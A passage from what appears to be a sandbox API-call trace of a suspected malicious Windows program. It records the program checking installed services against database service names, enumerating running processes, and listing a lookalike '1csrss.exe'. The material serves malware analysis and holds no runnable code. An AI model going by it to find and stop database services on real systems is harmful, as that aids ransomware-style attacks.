lstrlenW (lpString="LSM") returned 3 [0305.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0305.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0305.074] lstrlenW (lpString="MapsBroker") returned 10 [0305.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0305.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0305.074] lstrlenW (lpString="MpsSvc") returned 6 [0305.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0305.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0305.074] lstrlenW (lpString="NcbService") returned 10 [0305.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0305.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0305.074] lstrlenW (lpString="netprofm") returned 8 [0305.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0305.075] lstrlenW (lpString="NgcSvc") returned 6 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0305.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0305.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0305.075] lstrlenW (lpString="NlaSvc") returned 6 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0305.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0305.075] lstrlenW (lpString="nsi") returned 3 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0305.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0305.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0305.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0305.075] lstrlenW (lpString="PcaSvc") returned 6 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0305.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0305.075] lstrlenW (lpString="PlugPlay") returned 8 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0305.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0305.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0305.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0305.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0305.075] lstrlenW (lpString="Power") returned 5 [0305.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0305.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0305.076] lstrlenW (lpString="ProfSvc") returned 7 [0305.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0305.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0305.076] lstrlenW (lpString="RpcEptMapper") returned 12 [0305.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0305.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0305.076] lstrlenW (lpString="RpcSs") returned 5 [0305.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0305.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0305.076] lstrlenW (lpString="SamSs") returned 5 [0305.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0305.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0305.076] lstrlenW (lpString="Schedule") returned 8 [0305.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0305.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0305.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0305.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0305.077] lstrlenW (lpString="SecurityHealthService") returned 21 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0305.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0305.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0305.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0305.077] lstrlenW (lpString="SENS") returned 4 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0305.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0305.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0305.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0305.077] lstrlenW (lpString="ShellHWDetection") returned 16 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0305.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0305.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0305.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0305.077] lstrlenW (lpString="Spooler") returned 7 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0305.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0305.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0305.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0305.077] lstrlenW (lpString="SSDPSRV") returned 7 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0305.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0305.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0305.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0305.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0305.077] lstrlenW (lpString="StateRepository") returned 15 [0305.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0305.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0305.078] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0305.078] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0305.078] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0305.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x50c [0305.081] Process32FirstW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0305.081] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0305.082] lstrlenW (lpString="System") returned 6 [0305.082] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0305.083] lstrlenW (lpString="smss.exe") returned 8 [0305.083] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0305.083] lstrlenW (lpString="csrss.exe") returned 9 [0305.083] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0305.084] lstrlenW (lpString="wininit.exe") returned 11 [0305.084] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0305.085] lstrlenW (lpString="csrss.exe") returned 9 [0305.085] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0305.085] lstrlenW (lpString="winlogon.exe") returned 12 [0305.085] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0305.086] lstrlenW (lpString="services.exe") returned 12 [0305.086] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0305.087] lstrlenW (lpString="lsass.exe") returned 9 [0305.087] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0305.087] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0305.087] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0305.088] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0305.088] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.089] lstrlenW (lpString="svchost.exe") returned 11 [0305.089] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.090] lstrlenW (lpString="svchost.exe") returned 11 [0305.090] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0305.091] lstrlenW (lpString="dwm.exe") returned 7 [0305.091] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.092] lstrlenW (lpString="svchost.exe") returned 11 [0305.092] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.093] lstrlenW (lpString="svchost.exe") returned 11 [0305.093] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.094] lstrlenW (lpString="svchost.exe") returned 11 [0305.094] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.094] lstrlenW (lpString="svchost.exe") returned 11 [0305.095] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.095] lstrlenW (lpString="svchost.exe") returned 11 [0305.095] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.096] lstrlenW (lpString="svchost.exe") returned 11 [0305.096] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.097] lstrlenW (lpString="svchost.exe") returned 11 [0305.097] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.097] lstrlenW (lpString="svchost.exe") returned 11 [0305.097] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.098] lstrlenW (lpString="svchost.exe") returned 11 [0305.098] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.099] lstrlenW (lpString="svchost.exe") returned 11 [0305.099] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0305.100] lstrlenW (lpString="spoolsv.exe") returned 11 [0305.100] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0305.100] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0305.100] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0305.101] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0305.101] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0305.102] lstrlenW (lpString="Memory Compression") returned 18 [0305.102] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.102] lstrlenW (lpString="svchost.exe") returned 11 [0305.102] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0305.103] lstrlenW (lpString="audiodg.exe") returned 11 [0305.103] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0305.104] lstrlenW (lpString="sihost.exe") returned 10 [0305.104] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.105] lstrlenW (lpString="svchost.exe") returned 11 [0305.105] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0305.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0305.105] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0305.106] lstrlenW (lpString="explorer.exe") returned 12 [0305.106] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0305.107] lstrlenW (lpString="SearchUI.exe") returned 12 [0305.107] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0305.108] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0305.108] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0305.108] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0305.108] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0305.109] lstrlenW (lpString="1csrss.exe") returned 10 [0305.109] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.110] lstrlenW (lpString="svchost.exe") returned 11 [0305.110] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0305.110] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0305.110] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0305.111] lstrlenW (lpString="svchost.exe") returned 11 [0305.111] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0305.112] lstrlenW (lpString="consent.exe") returned 11 [0305.112] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0305.112] CloseHandle (hObject=0x50c) returned 1 [0305.112] Sleep 